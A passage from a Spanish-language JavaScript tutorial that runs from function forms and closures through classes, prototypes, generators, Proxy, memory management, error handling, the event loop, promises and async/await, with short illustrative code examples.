Intermedio ~15 minLas tres formas de crear funciones, this bajo control y el closure explicado con evidencia.
Tres formas de nacer
| Forma | Ejemplo | Rasgos |
|---|---|---|
| Declarada | function suma(a, b) {...} | Hoisting total: usable antes de su línea |
| Expresión | const resta = function (a, b) {...} | Se define al ejecutarse esa línea |
| Flecha | const mult = (a, b) => a * b | Sin this propio; implícita si es una expresión |
// flecha con retorno implicito (una expresion) vs bloque
const doble = n => n * 2;
const validar = n => {
if (n < 0) throw new RangeError("negativo");
return n > 100 ? 100 : n;
};
Parámetros: defaults, rest y el patrón options
function conectar(url, { reintentos = 3, timeout = 5000 } = {}) {
console.log(url, reintentos, timeout);
}
conectar("/api"); // usa todos los defaults
conectar("/api", { timeout: 800 }); // sobrescribe solo lo enviado
function promedio(...numeros) { // rest: cantidad variable
return numeros.reduce((a, b) => a + b, 0) / numeros.length;
}
promedio(18, 15, 20); // 17.666...
this: la regla que separa flechas de normales
En funciones normales this depende de quién llama; en funciones
flecha se hereda léxicamente del entorno donde se escribieron:
const timer = {
segundos: 0,
arrancar() {
// metodo abreviado: this ES timer
setInterval(() => {
this.segundos++; // flecha hereda este this: correcto
if (this.segundos === 3) console.log("3s!");
}, 1000);
},
};
// Con funcion normal dentro de setInterval, this NO seria timer
// (seria undefined en modo estricto): bug clasico resuelto por flechas.
Closures: la función recuerda su cuna
Una función guarda acceso a las variables del ámbito donde fue creada, incluso cuando ese ámbito ya terminó:
function crearContador(inicial = 0) {
let cuenta = inicial; // vive en el closure
return {
incrementar: () => ++cuenta,
valor: () => cuenta,
};
}
const clicks = crearContador();
const likes = crearContador(100);
clicks.incrementar(); // 1
clicks.incrementar(); // 2
likes.valor(); // 100 — cada closure tiene SU cuenta
El clásico de entrevistas: var contra let en bucles
// BUG clasico con var
for (var i = 0; i < 3; i++) setTimeout(() => console.log("var:", i));
// imprime 3, 3, 3 — todas comparten la MISMA i
// let crea un binding nuevo por vuelta
for (let j = 0; j < 3; j++) setTimeout(() => console.log("let:", j));
// imprime 0, 1, 2
Funciones puras y efectos
- Pura: mismos argumentos ⇒ mismo resultado; no toca nada externo. Fácil de probar (cap. 38).
- Impura: lee/escribe fuera (DOM, red, consola). Necesarias, pero conviene aislarlas.
// pura
const conIgv = monto => Math.round(monto * 1.18 * 100) / 100;
// impura: depende y muta el exterior
let carritoTotal = 0;
function agregarAlCarrito(monto) { carritoTotal += conIgv(monto); }
Puntos clave
- Flecha: this léxico; método de objeto: this dinámico.
- Defaults + desestructuración = patrón options legible.
- Closure: cada invocación de fábrica conserva sus propias variables.
- var en bucles asíncronos comparte índice: usa let.
11 · Objetos literales, Map y Set
Intermedio ~14 minEl objeto literal pulido, copias seguras y las colecciones especializadas (con las novedades ES2025 de Set).
Objeto literal moderno
const campo = "correo";
const visible = true;
const usuario = {
nombre: "Ana", // shorthand cuando clave = variable
[campo]: "ana@3soft.pe", // computed key
visible, // shorthand de valor
saluda() { // metodo abreviado (sin "function")
return `Hola, soy ${this.nombre}`;
},
};
usuario.nombre; // punto: lo habitual
usuario["campo raro"]; // corchetes para claves con espacios o dinamicas
Referencias contra valores: la tabla que evita bugs
| Tipo | Asignación copia… | Ejemplo |
|---|---|---|
| Primitivos | el valor | a = 1; b = a; b++ ⇒ a sigue 1 |
| Objetos/arrays | la referencia | b = a; b.x = 2 ⇒ a.x también es 2 |
const original = { tema: "claro", fuentes: { base: 16 } };
const copia = { ...original }; // spread: copia SUPERFICIAL
copia.tema = "oscuro"; // ok, no afecta al original
copia.fuentes.base = 20; // OJO: afecta a ambos!
console.log(original.fuentes.base); // 20
// Copia profunda nativa (ES2022): structuredClone
const clon = structuredClone(original);
clon.fuentes.base = 24;
console.log(original.fuentes.base); // 20 — intacto
Iterar objetos: keys, values, entries
const stock = { cafe: 12, te: 30, cacao: 7 };
Object.keys(stock); // ["cafe","te","cacao"]
Object.values(stock); // [12, 30, 7]
Object.entries(stock); // [["cafe",12], ["te",30], ["cacao",7]]
for (const [producto, unidades] of Object.entries(stock)) {
if (unidades < 10) console.warn(`reposicionar ${producto}`);
}
// reconstruir con transformacion
const duplicado = Object.fromEntries(
Object.entries(stock).map(([k, v]) => [k, v * 2])
);
Map: el objeto mejorado
| { } literal | Map | |
|---|---|---|
| Claves | solo strings/symbols | cualquier tipo (¡objetos!) |
| Tamaño | manual (Object.keys().length) | .size directo |
| Iteración | via entries() | iterable nativo, orden de inserción |
| JSON | nativo | requiere conversión manual |
const cache = new Map();
cache.set({ id: 1 }, "resultado A"); // clave OBJETO
cache.set("config", { tema: "oscuro" });
cache.get("config"); // {tema:"oscuro"}
cache.has("config"); // true
cache.size; // 2
for (const [clave, valor] of cache) console.log(clave, valor);
cache.delete("config"); cache.clear();
Set y las operaciones ES2025
Set guarda valores únicos. Desde ES2025 trae álgebra de conjuntos nativa — adiós a los helpers de Lodash:
const backend = new Set(["js", "php", "sql"]);
const fullstack = new Set(["js", "ts"]);
backend.union(fullstack); // Set {js, php, sql, ts}
backend.intersection(fullstack); // Set {js}
backend.difference(fullstack); // Set {php, sql}
backend.symmetricDifference(fullstack); // Set {php, sql, ts}
fullstack.isSubsetOf(backend); // false
// deduplicar un array: el truco clasico
const conRepetidos = [1, 2, 2, 3];
[...new Set(conRepetidos)]; // [1, 2, 3]
¿Cuál uso?
- Datos que viajarán en JSON ⇒ objeto literal.
- Catálogos clave⇒valor dinámicos o claves no-string ⇒ Map.
- Pertenencia sin duplicados ⇒ Set.
- Vincular datos a objetos DOM sin contaminarlos ⇒ WeakMap (cap. 18).
Puntos clave
- Shorthand y computed keys hacen el literal compacto.
- Spread copia superficial: anidados comparten referencia.
- structuredClone para copia profunda real.
- Map para claves arbitrarias; Set + union/intersection (ES2025) para conjuntos.
12 · Módulos ES
Intermedio ~14 minexport/import en todas sus formas, barrel files y carga diferida con import().
Exportar: nombrado contra default
// utilidades.js
export function formatearSoles(n) {
return new Intl.NumberFormat("es-PE", { style: "currency", currency: "PEN" }).format(n);
}
export const IGV = 0.18;
const redondear = (n) => Math.round(n * 100) / 100;
export { redondear }; // exportar al final tambien es valido
export default function despedir() { console.log("gracias por su compra"); }
| Nombrado | Default | |
|---|---|---|
| Cantidad por archivo | muchos | solo uno |
| Importación | { nombre } — el nombre importa | cualquier alias |
| Ideal para | bibliotecas de utilidades | el «principal» del módulo (una clase, un componente) |
Importar: las cuatro variantes
import despedir from "./utilidades.js"; // el default
import { IGV, redondear } from "./utilidades.js"; // nombrados
import { formatearSoles as soles } from "./utilidades.js"; // renombrar
import * as util from "./utilidades.js"; // namespace
soles(19); // S/ 19.00
util.redondear(1.005);
console.log(IGV);
Barrel file: una puerta para todo el dominio
// dominio/index.js — re-exporta lo publico
export { default as Producto } from "./producto.js";
export { default as Cliente } from "./cliente.js";
export { IGV } from "../utilidades.js";
// consumo limpio desde cualquier parte:
import { Producto, Cliente } from "./dominio/index.js";
import(): carga diferida bajo demanda
import estático se resuelve antes de ejecutar. La forma dinámica devuelve
promesa y descarga el módulo solo cuando hace falta (code splitting):
botonReporte.addEventListener("click", async () => {
const { generarPDF } = await import("./reportes/pesado.js"); // solo ahora
await generarPDF(carrito);
});
// util para: graficos, exportaciones, rutas admin...
Reglas de oro
- Ruta SIEMPRE con extensión (.js) y ./ o / — nunca "producto" a secas.
- Módulo = ámbito propio: nada se filtra al window.
- Ejecución única: aunque lo importen diez archivos, corre una vez (cache).
- Los exports son vistas vivas: si cambias IGV, todos lo ven.
Puntos clave
- Nombrado para utilidades; default para el protagonista del archivo.
- Barrel index.js simplifica imports profundos.
- import() dinámico = lazy loading nativo sin bundler.
- Extensión obligatoria y ejecución única por módulo.
13 · Clases modernas
Intermedio ~14 minCampos públicos y privados, getters/setters, estáticos y bloques static: la sintaxis completa.
// dominio/producto.js
export default class Producto {
// campo de instancia con valor inicial
stock = 0;
// campo PRIVADO (#): inaccesible desde fuera
#costo;
// campo estatico: pertenece a la CLASE, no a instancias
static contador = 0;
constructor(sku, nombre, precio, costo) {
this.sku = sku;
this.nombre = nombre;
this.precio = precio;
this.#costo = costo;
Producto.contador++;
}
get margen() {
return ((this.precio - this.#costo) / this.precio).toFixed(2);
}
set precio(valor) {
if (valor <= 0) throw new RangeError("precio positivo");
this._precio = valor;
}
get precio() {
return this._precio;
}
// metodo estatico: fabrica alternativa
static desdeFila(fila) {
return new Producto(fila[0], fila[1], fila[2], fila[3]);
}
// bloque static (ES2022): logica de inicializacion de la clase
static {
Producto.contador = 0;
}
describir() {
return `${this.nombre} (S/${this.precio})`;
}
}
// main.js
import Producto from "./dominio/producto.js";
const cafe = new Producto("CAF-01", "Café Chanchamayo", 24, 14);
cafe.stock = 40;
console.log(cafe.describir()); // Café Chanchamayo (S/24)
console.log(cafe.margen); // "0.42"
// console.log(cafe.#costo); // SyntaxError: private field
Producto.contador; // 1
get/set: propiedades calculadas
- Se usan como atributos (
obj.margen) pero ejecutan código. - Ideales para validar al asignar (set precio) o derivar valores (get margen).
- Regla práctica: si el getter hace trabajo pesado, mejor un método explícito.
¿Clase o objeto literal?
| Situación | Herramienta |
|---|---|
| Datos planos que viajan en JSON | Objeto literal |
| Varias entidades con mismas operaciones | Clase |
| Estado que debe protegerse (campos #) | Clase |
| Configuración puntual | Literal + desestructuración |
cafe instanceof Producto ⇒ true.
Verifica la cadena de prototipos; la usaremos al heredar en el siguiente capítulo.Puntos clave
- #campo: encapsulación real, error duro si se accede desde fuera.
- static: miembros de la clase; bloque static para inicializarla.
- get/set = azúcar de acceso con validación incluida.
- Literal para datos; clase para comportamiento + estado protegido.
14 · Herencia y composición
Intermedio ~14 minextends/super bien usados, mixins funcionales y la regla que ordena todo: composición sobre herencia.
Herencia básica: extends y super
class Usuario {
#clave;
constructor(nombre, clave) {
this.nombre = nombre;
this.#clave = clave;
}
autentica(clave) { return clave === this.#clave; }
etiqueta() { return this.nombre; }
}
class Administrador extends Usuario {
constructor(nombre, clave, nivel) {
super(nombre, clave); // primero el padre, SIEMPRE
this.nivel = nivel;
}
// override: redefinir comportamiento
etiqueta() { return `${super.etiqueta()} (admin L${this.nivel})`; }
borrar(id) { console.log(`borrando ${id} con permisos L${this.nivel}`); }
}
const root = new Administrador("Percy", "s3cr3t", 3);
root.etiqueta(); // Percy (admin L3)
root.autentica("s3cr3t"); // true — heredado
root instanceof Usuario; // true
Cuándo la herencia SE ROMPE
El ejemplo clásico: class Pato extends Robot porque ambos «caminan».
Requisitos cruzados generan jerarquías imposibles (¿AdminAuditorSuperUsuario?).
Composición: construir con piezas
// capacidades independientes como funciones factory
const conTimestamp = (obj) => ({
...obj,
creadoEn: new Date(),
marcaTiempo() { return Date.now(); },
});
const conSoftDelete = (obj) => ({
...obj,
borradoEn: null,
eliminarSuave() { this.borradoEn = new Date(); },
});
// ensamblar segun necesidad, no segun jerarquia
const base = { tabla: "posts", datos: {} };
const registro = conTimestamp(conSoftDelete(base));
registro.eliminarSuave();
// mixin formal sobre clases (patron usado por librerias)
const Serializable = (clase) => class extends clase {
aJSON() { return JSON.stringify(this); }
};
class Carrito { constructor(items = []) { this.items = items; } }
class CarritoJSON extends Serializable(Carrito) {}
new CarritoJSON([{ sku: "A1" }]).aJSON(); // {"items":[...]}
Criterio de decisión
| Pregunta | Si sí ⇒ |
|---|---|
| ¿B ES UN A genuino e inmutable? | Herencia (Administrador ES UN Usuario) |
| ¿A PUEDE HACER X como capacidad opcional? | Composición/mixin |
| ¿Necesitas combinar N capacidades libremente? | Composición |
Puntos clave
- super() antes de usar this en el constructor hijo.
- Override + super.metodo() extiende sin duplicar.
- Mixins con factory functions: capacidades combinables a la carta.
- ES UN → herencia; PUEDE HACER → composición.
15 · Prototipos: la verdad bajo las clases
Avanzado ~13 minLa cadena de delegación real del lenguaje y por qué class es azúcar sintáctica.
JS no tiene clases al estilo Java por debajo: tiene prototipos.
Cada objeto guarda un enlace oculto ([[Prototype]], visible como
__proto__) hacia otro objeto. Al leer una propiedad ausente, el motor sube
por esa cadena hasta encontrarla o llegar a null.
Dos palabras que confunden a todos
| Palabra | Pertenece a | Es… |
|---|---|---|
.prototype | funciones (y clases) | el objeto que recibirán sus instancias como __proto__ |
__proto__ / [[Prototype]] | todos los objetos | el enlace hacia el prototipo propio |
class Animal {
respirar() { return "inspirando"; }
}
const perro = new Animal();
perro.__proto__ === Animal.prototype; // true
perro.respirar(); // encontrado en Animal.prototype
// la cadena completa:
Object.getPrototypeOf(perro) === Animal.prototype;
Object.getPrototypeOf(Animal.prototype) === Object.prototype;
Object.getPrototypeOf(Object.prototype) === null; // fin de la cadena
// class es una funcion por debajo
typeof Animal; // "function"
Búsqueda en acción: sombra y delegación
const base = { saludar() { return `hola, soy ${this.nombre}`; } };
const ana = { __proto__: base, nombre: "Ana" };
const luis = { __proto__: base, nombre: "Luis", saludar() {
return `[invitado] ${base.saludar.call(this)}`; // super casero
} };
ana.saludar(); // "hola, soy Ana" — delega a base
luis.saludar(); // "[invitado] hola, soy Luis" — su version SOMBREA la del proto
ana.hasOwnProperty("saludar"); // false: es heredada
"nombre" in luis; // true (propio o heredado)
Object.create: prototipos sin clases
// herencia directa entre objetos — util para plugins/config
const politicasBase = { maxIntentos: 3, timeoutMs: 5000 };
const politicasPago = Object.create(politicasBase);
politicasPago.moneda = "PEN";
politicasPago.maxIntentos; // 3 (heredado)
politicasPago.moneda; // "PEN" (propio)
Object.hasOwn(politicasPago, "timeoutMs"); // false — viene del proto
Equivalencias clase ⇄ prototipo
| Sintaxis de clase | Equivalente prototipal |
|---|---|
| metodo() {} | Clase.prototype.metodo = function... |
| static m() {} | propiedad directa de la función Clase |
| constructor(...) | cuerpo de la function |
| extends | Object.setPrototypeOf + llamada al padre |
| #campo | sin equivalencia: privado real del lenguaje |
Consejo profesional: piensa y ESCRIBE con clases; lee la
cadena de prototipos cuando depures (por eso DevTools muestra [[Prototype]]).
Puntos clave
- prototype vive en funciones/clases; __proto__ en cada objeto.
- La lectura sube la cadena hasta null; la escritura crea propiedad propia.
- class/extends son azúcar sobre esa cadena.
- Object.create: composición directa de objetos sin ceremonias.
16 · Symbols, iterables y generadores
Avanzado ~15 minEl séptimo primitivo, el protocolo que mueve for...of y funciones que pausan su ejecución.
Symbol: claves únicas a prueba de colisiones
const nivel = Symbol("nivel");
const user = { nombre: "Ana", [nivel]: 3 };
user[nivel]; // 3
Object.keys(user); // ["nombre"] — los symbols son INVISIBLES aqui
Object.getOwnPropertySymbols(user); // [Symbol(nivel)]
Symbol("x") === Symbol("x"); // false: cada symbol es unico
// registro global: mismo symbol en todo el programa
Symbol.for("rol") === Symbol.for("rol"); // true
Uso real: extender objetos/librerías sin riesgo de pisar claves existentes. Los «well-known symbols» (Symbol.iterator, Symbol.toPrimitive…) son los ganchos oficiales del lenguaje.
El protocolo iterable
for...of, spread, destructuring de arrays… todos piden un iterador mediante
obj[Symbol.iterator](), que debe devolver un objeto con next():
class Playlist {
#canciones = [];
agregar(t) { this.#canciones.push(t); }
[Symbol.iterator]() {
let i = 0;
const datos = this.#canciones;
return { next: () => i < datos.length
? { value: datos[i++], done: false }
: { value: undefined, done: true } };
}
}
const pl = new Playlist();
pl.agregar("Flor de retama"); pl.agregar("Cariñito");
for (const cancion of pl) console.log(cancion); // funciona!
[...pl]; // y el spread tambien
Generadores: iteradores con pausa incluida
Escribir next() a mano es tedioso. Un generador hace lo mismo con function*
y yield: se suspende en cada yield y reanuda después:
function* fibonacci() {
let a = 0n, b = 1n;
while (true) { // secuencia INFINITA sin agotar memoria
yield a;
[a, b] = [b, a + b];
}
}
const fib = fibonacci();
fib.next().value; // 0n
fib.next().value; // 1n
fib.next().value; // 1n
fib.next().value; // 2n
// consumir solo lo necesario:
function* tomar(iterable, n) {
let i = 0;
for (const x of iterable) { if (i++ >= n) return; yield x; }
}
[...tomar(fibonacci(), 8)].map(String);
// ["0","1","1","2","3","5","8","13"]
yield*: delegar en otro generador
function* arbol(nodo) {
yield nodo.valor;
if (nodo.hijos) yield* nodo.hijos.flatMap(arbol); // recursivo elegante
}
const arbolito = { valor: 1, hijos: [{ valor: 2 }, { valor: 3, hijos: [{ valor: 4 }] }] };
[...arbol(arbolito)]; // [1, 2, 3, 4]
- Los iteradores helpers (map/filter/take perezosos sobre iterables) llegaron con ES2025 — los veremos en cap. 23.
- Los async generators (for await) son la pieza clave para paginar APIs: cap. 22.
Puntos clave
- Symbol: claves invisibles para Object.keys, únicas por definición.
- Cualquier objeto con [Symbol.iterator] entra al ecosistema for...of/spread.
- Generadores: secuencias infinitas y evaluación perezosa nativa.
- yield* delega y compone generadores como tuberías.
17 · Metaprogramación: Proxy y Reflect
Avanzado ~14 minInterceptar operaciones sobre objetos: validación, logging y la reactividad que usan los frameworks.
Un Proxy envuelve un objeto y te deja interceptar sus operaciones fundamentales (lectura, escritura, existencia, invocación…) mediante «traps». Reflect expone las mismas operaciones en versión función — el compañero natural para delegar al objeto original.
Traps principales
| Trap | Intercepta |
|---|---|
| get(objeto, prop) | lecturas objeto.prop |
| set(objeto, prop, valor) | asignaciones objeto.prop = x |
| has(objeto, prop) | operador in |
| deleteProperty | delete objeto.prop |
| apply | llamadas a funciones proxyadas |
Validación declarativa con set
function validar(esquema) {
return new Proxy({}, {
set(objetivo, prop, valor) {
const regla = esquema[prop];
if (!regla) throw new TypeError(`propiedad no permitida: ${String(prop)}`);
if (!regla.prueba(valor)) throw new RangeError(`${String(prop)} invalido: ${valor}`);
Reflect.set(objetivo, prop, valor); // delega la escritura real
return true; // set debe devolver true o lanza TypeError
},
});
}
const producto = validar({
precio: { prueba: v => typeof v === "number" && v > 0 },
nombre: { prueba: v => typeof v === "string" && v.trim().length > 0 },
});
producto.precio = 24;
producto.nombre = "Café";
// producto.precio = -1; // RangeError: precio invalido: -1
Mini-store reactivo: la semilla de Vue
function reactivo(estado, alCambiar) {
return new Proxy(estado, {
set(objetivo, prop, valor) {
const antes = objetivo[prop];
if (antes !== valor) {
Reflect.set(objetivo, prop, valor);
alCambiar(prop, valor, antes); // notificar suscriptores
}
return true;
},
});
}
const store = reactivo({ carrito: 0 }, (prop, nuevo) =>
console.log(`redibujar badge ${prop}=${nuevo}`));
store.carrito = 1; // redibujar badge carrito=1
store.carrito = 2; // redibujar badge carrito=2
store.carrito = 2; // silencio: mismo valor
Costos y límites honestos
- Cada acceso pasa por el trap: hay sobrecosto — evita proxies en hot paths (bucles millones de veces).
- No se pueden interceptar campos #privados ni igualdad.
- DevTools muestra el proxy como target: depura con cuidado.
- Para objetos planos simples, Object.defineProperty sigue siendo opción puntual.
Puntos clave
- Proxy = interceptores; Reflect = delegación limpia al original.
- set DEBE devolver true (o el motor lanza TypeError).
- El store reactivo del ejemplo es el corazón conceptual de Vue 3.
- Poder ≠ gratis: fuera de hot paths.
18 · Memoria: GC, WeakMap y WeakRef
Avanzado ~13 minCómo decide el recolector qué borrar, colecciones débiles y las fugas que todos cometen.
No gestionas memoria manualmente: el garbage collector libera objetos inalcanzables. La regla completa cabe en una línea: un objeto vive mientras exista algún camino de referencias desde las raíces (variables activas, DOM, timers…).
let pedido = { cliente: "Ana", total: 99 };
pedido = null; // el objeto pierde su ultima referencia ⇒ elegible para GC
Fuerte contra débil
| Tipo de referencia | ¿Mantiene vivo al objeto? | Herramientas |
|---|---|---|
| Fuerte | Sí | variables, arrays, Map, Set, closures |
| Débil | No | WeakMap, WeakSet, WeakRef |
WeakMap: metadatos sin secuestrar objetos
El caso estrella: asociar datos a nodos DOM sin impedir que se recojan cuando el DOM los elimine:
const tooltips = new WeakMap();
function registrarTooltip(el, texto) {
tooltips.set(el, texto); // clave DEBIL: si borras el nodo del DOM,
} // GC lo recoge junto a su entrada
// comparacion: const cache = new Map(); cache.set(el,...)
// con Map fuerte, cada nodo eliminado quedaria FUGADO para siempre.
// WeakMap ademas exige claves objeto y NO es iterable:
// exactamente lo que quieres para datos privados por instancia.
// (para privacidad simple de clase, usa campos # del capitulo 13)
WeakRef y FinalizationRegistry (con freno de mano)
// WeakRef: mirar SIN sostener
let imagenGrande = cargarImagen(); // recurso costoso
const ref = new WeakRef(imagenGrande);
function usar() {
const img = ref.deref(); // undefined si GC ya la recogio
if (!img) console.log("recurso liberado");
}
// FinalizationRegistry: aviso POST-mortem (no determinista!)
const limpiador = new FinalizationRegistry((etiqueta) =>
console.log(`GC libero: ${etiqueta}`));
limpiador.register(imagenGrande, "imagen-hero");
imagenGrande = null; // algun dia (sin promesa de cuando) llegara el aviso
Las cuatro fugas clásicas
- Listeners sin removeEventListener: componente removido pero su handler sigue anclado.
- Timers vivos: setInterval olvidado que captura objetos grandes.
- Cachés con Map fuerte: crecen eternamente (usa WeakMap o límite + LRU).
- Closures que capturan de más: devolver una función pequeña que arrastra un array enorme por referencia.
Diagnóstico: DevTools → Memory → Heap snapshot → comparar dos tomas tras reproducir la acción; los objetos «Detached» que crecen son tus sospechosos.
Puntos clave
- Vive quien es alcanzable desde las raíces; nada más.
- WeakMap/Set: claves débiles — perfectas para metadatos DOM y caches desmontables.
- WeakRef/FinalizationRegistry son diagnóstico, no control de flujo.
- Fuga típica #1: listeners y timers sin limpieza.
19 · Errores robustos
Avanzado ~14 minLa jerarquía Error, errores propios con cause, y la estrategia try/catch que no oculta bugs.
La familia Error
| Tipo | Cuándo aparece |
|---|---|
| Error | genérico; base de todos |
| TypeError | operación sobre tipo incorrecto (undefined.x, llamar no-función) |
| RangeError | valor fuera de rango válido (length negativa) |
| ReferenceError | variable no declarada / TDZ |
| SyntaxError | código no parseable (o JSON.parse fallido!) |
| AggregateError | agrupa varios (Promise.any agotada) |
const e = new RangeError("stock negativo", { cause: { sku: "A1", stock: -2 } });
e.name; // "RangeError"
e.message; // "stock negativo"
e.cause; // { sku: "A1", stock: -2 } — contexto para logs (ES2022)
e.stack; // donde se CREO el error
Errores de dominio propios
// dominio/errores.js
export class NegocioError extends Error {
constructor(mensaje, opciones = {}) {
super(mensaje, opciones); // causa viaja al padre
this.name = "NegocioError";
this.codigo = opciones.codigo ?? "NEG-000";
}
}
// uso
throw new NegocioError("stock insuficiente", {
cause: { pedido: 7 },
codigo: "NEG-409",
});
throw "ups") — NUNCA lo hagas: sin stack ni name, imposible depurar.
Solo objetos Error y subclases.try / catch / finally con criterio
function cobrar(pedido) {
try {
validarStock(pedido);
aplicarPago(pedido);
return true;
} catch (error) {
if (error instanceof NegocioError) {
mostrarAviso(error.message); // esperado: informar al usuario
return false;
}
throw error; // NO esperado: re-lanzar SIEMPRE
} finally {
console.debug("cobro intentado", pedido.id); // corre incluso con throw
}
}
- catch vacío = bug enterrado. Si capturas algo, o lo manejas o lo re-lanzas.
- Filtra por tipo (instanceof) antes de decidir qué hacer.
- finally para liberar recursos; desde ES2019 catch puede omitir el binding:
} catch {.
Dos categorías, dos estrategias
| Categoría | Ejemplo | Estrategia |
|---|---|---|
| Error de ENTRADA (esperable) | JSON.parse de respuesta externa, usuario con datos raros | try/catch + mensaje útil |
| Error de PROGRAMADOR (bug) | undefined.x, argumento mal tipado internamente | dejarlo explotar y arreglar la causa raíz |
Adelanto asíncrono
Un throw dentro de una promesa se convierte en rechazo: en async/await se captura con el mismo try/catch. Los detalles finos (combinadores, allSettled) son el capítulo 21.
Puntos clave
- Solo lanza Error/subclases; cause lleva contexto a tus logs.
- NegocioError: distinguir «esperado» de «bug» en un instanceof.
- catch: maneja o re-lanza — nunca silencia.
- Bugs de programador no se «capturan»: se corrigen.
20 · El event loop
Avanzado ~14 minUn hilo, dos colas y el orden exacto en que JavaScript ejecuta tu código.
JavaScript es single-threaded: un solo call stack. Su magia es ser no bloqueante: las operaciones lentas (red, timers, disco) se delegan al entorno (Web APIs del navegador o libuv en Node) y su continuación vuelve por colas cuando el stack está vacío. El event loop es el vigilante que mueve ese tráfico.
Las dos colas
| Cola | Quién entra | Prioridad |
|---|---|---|
| Microtasks | continuaciones de promesas (.then/await), queueMicrotask, MutationObserver | se VACÍA completa tras cada tarea |
| Macrotasks | setTimeout/setInterval, eventos DOM, I/O, setImmediate (Node) | una a una, entre microtasks |
El experimento canónico
console.log("1 script");
setTimeout(() => console.log("4 timeout"), 0);
Promise.resolve().then(() => console.log("3 promesa"));
console.log("2 fin script");
// Salida EXACTA:
// 1 script (sync: stack)
// 2 fin script (sync: stack)
// 3 promesa (microtask: se vacia ANTES de cualquier timer)
// 4 timeout (macrotask: aunque pida 0ms)
- El script corre entero (síncrono): imprime 1 y 2.
- Stack vacío ⇒ event loop vacía TODA la cola de microtasks: «3 promesa».
- Recién entonces toma la siguiente macrotask: «4 timeout». Un timeout de 0 ms nunca es inmediato: espera su turno.
Microtasks anidadas: el caso extremo
// PELIGRO: una microtask que encola otra microtask infinitamente
function bucleInfernal() {
Promise.resolve().then(bucleInfernal);
}
// bucleInfernal(); // congela: los timers NUNCA corren
// Los macrotasks (setTimeout) si permiten respirar al loop.
Bloquear el loop = congelar la página
// NO hacer esto en el navegador:
function esperarPesado(ms) {
const inicio = Date.now();
while (Date.now() - inicio < ms) { /* girando */ }
}
// esperarPesado(3000); // 3 segundos SIN clicks NI renders
// Alternativas reales: trocear con await new Promise(r => setTimeout(r)),
// o descargar a un Worker (capitulo 30).
En Node existe además setImmediate(), que corre
tras I/O y compite con setTimeout(0) con matices de fase; y process.nextTick(),
una microcola aún más prioritaria. Detalles prácticos en la parte VI.
Puntos clave
- Un stack, microtasks primero, macrotasks después.
- .then/await = microtask; setTimeout/eventos = macrotask.
- timeout 0 ≠ inmediato: espera stack libre y turno.
- Bucles síncronos largos congelan UI: trocea o usa Workers.
21 · Promises a fondo
Intermedio ~15 minEstados, encadenamiento, los cuatro combinadores y withResolvers.
Una Promesa es un recibo por una operación en curso: garantiza que
habrá un valor (cumplida) o un motivo de fallo (rechazada) — pero solo UNA vez. Sus tres
estados son terminales e irreversibles: pending → fulfilled | rejected.
// crear una promesa "a mano"
const loteria = new Promise((resolve, reject) => {
const premio = Math.random() < 0.5;
setTimeout(() =>
premio ? resolve({ monto: 100 }) : reject(new Error("sin suerte")),
500);
});
loteria
.then((r) => {
console.log("ganaste S/", r.monto);
return r.monto * 0.82; // RETURN: alimenta el siguiente .then
})
.then((neto) => console.log("neto:", neto))
.catch((error) => console.error(error.message)) // atrapa TODO lo de arriba
.finally(() => console.log("sorteo terminado")); // siempre corre
return dentro de un
.then — la cadena continúa con undefined y los datos «desaparecen».Los cuatro combinadores
| Combinador | Resuelve cuando… | Falla cuando… | Uso típico |
|---|---|---|---|
all | todas cumplen | la primera que rechaza | todo-o-nada (datos de página) |
allSettled | todas terminan (bien o mal) | nunca | reportes parciales |
race | la primera en terminar (aunque falle) | idem | timeouts |
any | la primera CUMPLIDA | todas rechazan (AggregateError) | fallbacks / espejos CDN |
// patron timeout con race
function conTimeout(promesa, ms) {
const vence = new Promise((_, reject) =>
setTimeout(() => reject(new Error(`timeout ${ms}ms`)), ms));
return Promise.race([promesa, vence]);
}
// allSettled: resultados etiquetados
const [stock, tipoCambio] = await Promise.allSettled([
fetch("/api/stock").then(r => r.json()),
fetch("/api/tc").then(r => r.json()),
]);
if (stock.status === "rejected") console.warn("stock caido, sigo igual");
Promise.withResolvers (ES2024)
Antes, exponer resolve/reject fuera del constructor exigía un baile de variables. Ahora viene de fábrica:
const { promise, resolve, reject } = Promise.withResolvers();
listenerExterno.on("listo", resolve); // quien sea puede decidir el destino
listenerExterno.on("error", reject);
await promise; // y aqui se espera con elegancia
Promisificar callbacks antiguos
const esperar = (ms) => new Promise(resolve => setTimeout(resolve, ms));
await esperar(300); // sleep nativo sin librerias
Puntos clave
- Estado único e irreversible; .then devuelve nueva promesa.
- Sin return dentro de then, la cadena se rompe silenciosamente.
- all todo-o-nada; allSettled para informes completos; any para fallbacks.
- withResolvers (ES2024) simplifica promesas controladas desde fuera.
22 · async / await profundo
Intermedio ~15 minAzúcar seria sobre promesas: paralelismo correcto, iteración asíncrona y retry con backoff.
La base en tres reglas
async functionSIEMPRE devuelve promesa.awaitpausa esa función (no el hilo!) hasta resolver.- Los errores se capturan con try/catch normal — igual que código síncrono.
async function comprar(sku) {
try {
const r = await fetch(`/api/stock/${sku}`);
if (!r.ok) throw new Error(`HTTP ${r.status}`);
const { disponible } = await r.json();
return disponible;
} catch (error) {
console.error("fallo compra:", error.message);
return false;
} finally {
console.debug("compra evaluada");
}
}
El error más caro: paralelo disfrazado de serie
// LENTO: secuencial — cada await espera al anterior (~300ms c/u)
const stock = await fetchStock(); // 300ms
const tipoCambio = await fetchTC(); // 300ms
// total ~600ms
// RAPIDO: paralelo — lanzar AMBAS, esperar ambas
const [stockP, tc] = await Promise.all([fetchStock(), fetchTC()]);
// total ~300ms
// REGLA: await solo cuando necesites el valor YA.
// Si no lo necesitas todavia: guarda la PROMESA y awaits juntos despues.
const pStock = fetchStock(); // arranca YA
const pTC = fetchTC(); // arranca YA
const s = await pStock;
const t = await pTC;
for await...of y generadores asíncronos
Cuando los datos llegan a lo largo del tiempo (paginación, streams), un async generator expone la secuencia y for-await la consume:
async function* todasLasVentas() {
let pagina = 1;
while (true) {
const r = await fetch(`/api/ventas?page=${pagina++}`);
const { items, hayMas } = await r.json();
yield* items; // delega cada venta
if (!hayMas) return;
}
}
for await (const venta of todasLasVentas()) {
acumular(venta); // memoria plana: solo el agregado
}
Retry con backoff: patrón de producción
const dormir = ms => new Promise(r => setTimeout(r, ms));
async function reintentar(fn, intentos = 3) {
for (let i = 1; i <= intentos; i++) {
try {
return await fn();
} catch (error) {
if (i === intentos) throw error;
const espera = 2 ** i * 100; // 200, 400, 800ms...
console.warn(`intento ${i} fallo, reintentando en ${espera}ms`);
await dormir(espera);
}
}
}
const datos = await reintentar(() =>
fetch("/api/inestable").then(r => r.json()));
Reglas de oro async
